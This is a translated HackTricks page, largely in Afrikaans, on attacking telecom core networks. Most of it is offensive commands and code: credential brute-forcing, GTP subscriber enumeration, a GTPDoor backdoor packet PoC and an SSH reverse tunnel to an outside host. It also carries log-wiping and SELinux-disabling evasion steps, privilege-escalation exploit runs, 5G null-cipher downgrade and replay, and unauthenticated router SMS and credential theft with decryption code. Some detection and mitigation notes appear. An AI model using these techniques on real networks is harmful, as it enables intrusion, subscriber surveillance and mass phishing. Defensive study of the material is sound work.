Telecom Netwerkuitbuiting (GTP / Roaming-omgewings)

Reading time: 13 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

note

Mobile-core protocols (GPRS Tunnelling Protocol – GTP) gaan dikwels deur semi-gevertroude GRX/IPX roaming-backbones. Omdat hulle oor plain UDP ry met byna geen authentikasie nie, kan enige foothold binne 'n telecom perimeter gewoonlik core signalling planes direk bereik. Die volgende notas versamel offensive tricks wat in die veld waargeneem is teen SGSN/GGSN, PGW/SGW en ander EPC nodes.

1. Recon & Initial Access

1.1 Standaard OSS / NE-rekeninge

'n Verstommend groot stel verskaffer-netwerkelemente word saamgestuur met hard-coded SSH/Telnet gebruikers soos root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … 'n toegewyde wordlist verhoog dramaties brute-force sukses:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

As die toestel slegs 'n management VRF openbaar, pivot eers via 'n jump host (sien afdeling «SGSN Emu Tunnel» hieronder).

1.2 Host Discovery binne GRX/IPX

Die meeste GRX-operateurs laat steeds ICMP echo oor die backbone toe. Kombineer masscan met die ingeboude gtpv1 UDP-probes om vinnig GTP-C-luisteraars in kaart te bring:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerering van intekenare – cordscan

Die volgende Go-hulpmiddel samestel GTP-C Create PDP Context Request pakkette en registreer die antwoorde. Elke antwoord onthul die huidige SGSN / MME wat die gevraagde IMSI bedien en soms die intekenaar se besoekte PLMN.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Belangrike vlae:

  • --imsi Teikenabonnee IMSI
  • --oper Tuis / HNI (MCC+MNC)
  • -w Skryf rou pakkette na pcap

Belangrike konstantes binne die binêre kan aangepas word om skanderings uit te brei:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Kode-uitvoering oor GTP – GTPDoor

GTPDoor is 'n klein ELF-diens wat binds UDP 2123 and parses every incoming GTP-C packet. Wanneer die payload met 'n pre-shared tag begin, word die oorblyfsel ontsleutel (AES-128-CBC) en uitgevoer via /bin/sh -c. Die stdout/stderr word exfiltrated binne Echo Response messages sodat geen uitgaande sessie ooit geskep word nie.

Minimal PoC packet (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detection:

  • enige gasheer wat unbalanced Echo Requests na SGSN IP-adresse stuur
  • GTP weergawe-vlag op 1 gestel terwyl message type = 1 (Echo) – afwyking van die spesifikasie

4. Pivoting deur die Kern

4.1 sgsnemu + SOCKS5

OsmoGGSN lewer 'n SGSN-emulator wat in staat is om 'n PDP-konteks op te stel na 'n werklike GGSN/PGW. Sodra dit onderhandel is, ontvang Linux 'n nuwe tun0-koppelvlak wat vanaf die roaming-peer bereikbaar is.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Met behoorlike firewall hair-pinning omseiling, omseil hierdie tonnel signalling-only VLANs en beland jy direk in die data plane.

4.2 SSH Reverse Tunnel over Port 53

DNS is byna altyd oop in roaming-infrastrukture. Maak 'n interne SSH-diens op jou VPS beskikbaar wat luister op poort :53, en keer later van die huis af terug:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Kontroleer dat GatewayPorts yes op die VPS geaktiveer is.

5. Geheime Kanale

KanaalTransportDekoderingAantekeninge
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)puur passiewe luisteraar, geen uitgaande verkeer
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) gekodeer in A-record oktettekyk uit vir *.nodep sub-domein
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEmeng met geldige GTP-C verkeer

Alle implants gebruik watchdogs wat hul binaries timestomp en weer opstart as hulle crash.

6. Verdedigings-omseiling Cheatsheet

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation op Legacy NE

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Skoonmaakwenk:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Tool Box

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – custom tooling described in previous sections.
  • FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lightweight SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

Die 5G-registrasieprosedure loop oor NAS (Non-Access Stratum) bo-op NGAP. Totdat NAS-sekuriteit geaktiveer word deur Security Mode Command/Complete, is aanvanklike boodskappe nie geverifieer en nie versleuteld nie. Hierdie pre-sekuriteitsvenster maak verskeie aanvalspaaie moontlik wanneer jy N2-verkeer kan observeer of manipuleer (bv. on-path binne die core, rogue gNB, of testbed).

Registrasievloei (vereenvoudig):

  • Registration Request: UE stuur SUCI (encrypted SUPI) en capabilities.
  • Authentication: AMF/AUSF stuur RAND/AUTN; UE gee RES* terug.
  • Security Mode Command/Complete: NAS-integriteit en ciphering word onderhandeld en geaktiveer.
  • PDU Session Establishment: IP/QoS opstelling.

Laboratorium opstel wenke (non-RF):

  • Core: Open5GS standaard implementering is voldoende om vloei te reproduseer.
  • UE: simulator of test-UE; dekodeer met Wireshark.
  • Aktiewe gereedskap: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Nuttige vertoonfilters in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Verwagting: UE/USIM moet SUCI stuur (SUPI encrypted met die home-network public key). Om 'n plaintext SUPI/IMSI in die Registration Request te vind dui op 'n privaatheidsdefek wat volgehoue subscriber-tracking moontlik maak.

Hoe om te toets:

  • Capture die eerste NAS-boodskap in InitialUEMessage en inspekteer die Mobile Identity IE.
  • Wireshark vinnige kontroles:
  • Dit behoort as SUCI te dekodeer, nie as IMSI nie.
  • Filtervoorbeelde: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci behoort te bestaan; afwesigheid plus teenwoordigheid van imsi dui op leakage.

Wat om in te samel:

  • MCC/MNC/MSIN indien blootgestel; log per-UE en volg oor tyd/liggings.

Mitigasie:

  • Forceer SUCI-only UEs/USIMs; waarsku op enige IMSI/SUPI in die aanvanklike NAS.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Agtergrond:

  • UE adverteer ondersteunde EEA (encryption) en EIA (integrity) in die UE Security Capability IE van die Registration Request.
  • Algemene mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 is nul-algoritmes.

Kwessie:

  • Omdat die Registration Request nie integriteitsbeskerm is nie, kan 'n on-path aanvaller capability-bits uitvee om die keuse van EEA0/EIA0 af te dwing later tydens Security Mode Command. Sommige stacks laat ten onregte toe dat nul-algoritmes buite emergency services gebruik word.

Offensiewe stappe:

  • Intersep InitialUEMessage en wysig die NAS UE Security Capability om slegs EEA0/EIA0 te adverteer.
  • Met Sni5Gect, hook die NAS-boodskap en patch die capability-bits voordat dit geforward word.
  • Observeer of AMF null ciphers/integrity aanvaar en Security Mode voltooi met EEA0/EIA0.

Verifikasie/sigbaarheid:

  • In Wireshark, bevestig die geselekteerde algoritmes na Security Mode Command/Complete.
  • Voorbeeld passiewe sniffer-uitset:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Versagtingsmaatreëls (moet):

  • Konfigureer AMF/policy om EEA0/EIA0 te weier, behalwe waar dit streng voorgeskryf is (bv., noodoproepe).
  • Beveel aan om EEA2/EIA2 ten minste af te dwing; registreer en waarsku by enige NAS-sekuriteitskonteks wat null-algoritmes onderhandel.

9.3 Replay van aanvanklike Registration Request (pre-security NAS)

Omdat die aanvanklike NAS geen integriteit of varsheid het nie, kan vasgevangde InitialUEMessage+Registration Request na die AMF gereplayed word.

PoC-reël vir 5GReplay om ooreenstemmende replays deur te stuur:

xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

Wat om waar te neem:

  • Whether AMF accepts the replay and proceeds to Authentication; 'n gebrek aan freshness/context validation dui op blootstelling.

Versagtingsmaatreëls:

  • Dwing replay protection/context binding by die AMF af; rate-limit en korreleer per-GNB/UE.

9.4 Gereedskap-aanwysings (herhaalbaar)

  • Open5GS: start 'n AMF/SMF/UPF op om die core te emuleer; observeer N2 (NGAP) en NAS.
  • Wireshark: verifieer dekodes van NGAP/NAS; pas die filters hierbo toe om Registration te isoleer.
  • 5GReplay: vang 'n Registration op, daarna replay spesifieke NGAP + NAS boodskappe soos per die reël.
  • Sni5Gect: live sniff/modify/inject NAS control-plane om null algorithms af te dwing of authentication sequences te ontwrig.

9.5 Verdedigingskontrolelys

  • Inspekteer deurlopend Registration Request vir plaintext SUPI/IMSI; blokkeer oortredende devices/USIMs.
  • Weier EEA0/EIA0 behalwe vir noukeurig gedefinieerde noodprosedures; vereis ten minste EEA2/EIA2.
  • Detecteer ongeoorloofde of verkeerd geconfigureerde infrastruktuur: unauthorized gNB/AMF, unexpected N2 peers.
  • Waarsku oor NAS security modes wat lei tot null algorithms of gereelde replays van InitialUEMessage.

10. Industriële Sellulêre Routers – Ongeauthentiseerde SMS-API-misbruik (Milesight UR5X/UR32/UR35/UR41) en kredensiële herstel (CVE-2023-43261)

Deur blootgestelde web-APIs van industriële sellulêre routers te misbruik word stealthy, carrier-origin smishing op skaal moontlik. Milesight UR-series routers stel 'n JSON-RPC–styl endpoint by /cgi bloot. Wanneer verkeerd geconfigureer, kan die API sonder authentication bevra word om SMS inbox/outbox te lys en, in sommige deployments, om SMS te stuur.

Tipiese ongeauthentiseerde versoeke (dieselfde struktuur vir inbox/outbox):

http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Antwoorde sluit velde in soos timestamp, content, phone_number (E.164), en status (success or failed). Herhaalde failed stuurings na dieselfde nommer is dikwels attacker “capability checks” om te verifieer dat 'n router/SIM kan aflewer voordat blasting plaasvind.

Voorbeeld curl om SMS metadata te exfiltrate:

bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Aantekeninge oor auth-artefakte:

  • Sommige verkeer mag 'n auth cookie insluit, maar 'n groot gedeelte van blootgestelde toestelle reageer sonder enige authenticatie op query_inbox/query_outbox wanneer die management-koppelvlak Internet-toeganklik is.
  • In omgewings wat auth vereis, previously-leaked credentials (see below) herstel toegang.

Kredensiaalherstelpad – CVE-2023-43261:

  • Aangetaste families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Probleem: web-geserveerde logs (bv. httpd.log) is sonder enige authenticatie bereikbaar onder /lang/log/ en bevat admin-aanmeldingsgebeurtenisse met die wagwoord versleuteld met 'n hardcoded AES key/IV wat in client-side JavaScript teenwoordig is.
  • Praktiese toegang en ontsleuteling:
bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Minimale Python om leaked wagwoorde te dekripteer (AES-128-CBC, hardcoded key/IV):

python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Jag- en opsporingsideeë (netwerk):

  • Waarsku oor ongeverifieerde POST /cgi waarvan die JSON-liggaam base/function bevat wat op query_inbox of query_outbox gestel is.
  • Volg herhaalde POST /cgi uitbarstings gevolg deur status":"failed" inskrywings oor baie unieke nommers vanaf dieselfde bron-IP (capability testing).
  • Inventariseer Internet-blootgestelde Milesight routers; beperk bestuur tot VPN; deaktiveer SMS-funksies tensy vereis; opgradeer na ≥ v35.3.0.7; roteer credentials en hersien SMS-logboeke vir onbekende stuuraksies.

Shodan/OSINT pivots (voorbeelde in die natuur gesien):

  • http.html:"rt_title" pas by Milesight router-paneel.
  • Google dorking vir blootgestelde logs: "/lang/log/system" ext:log.

Operationele impak: die gebruik van wettige carrier SIMs binne routers gee baie hoë SMS-lewerbaarheid en geloofwaardigheid vir phishing, terwyl inbox/outbox blootstelling sensitiewe metadata op skaal leak.


Opsporingsidees

  1. Enige toestel anders as 'SGSN/GGSN' wat Create PDP Context Requests opstel.
  2. Nie-standaard poorte (53, 80, 443) wat SSH-handshakes van interne IP's ontvang.
  3. Gereelde Echo Requests sonder ooreenstemmende Echo Responses – kan op GTPDoor-beacons dui.
  4. Hoë tempo van ICMP echo-reply verkeer met groot, nie-nul identifier/sequence-velde.
  5. 5G: InitialUEMessage wat NAS Registration Requests dra wat herhaal van identiese eindpunte (replay sein).
  6. 5G: NAS Security Mode wat EEA0/EIA0 onderhandel buite noodgevalkontekste.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks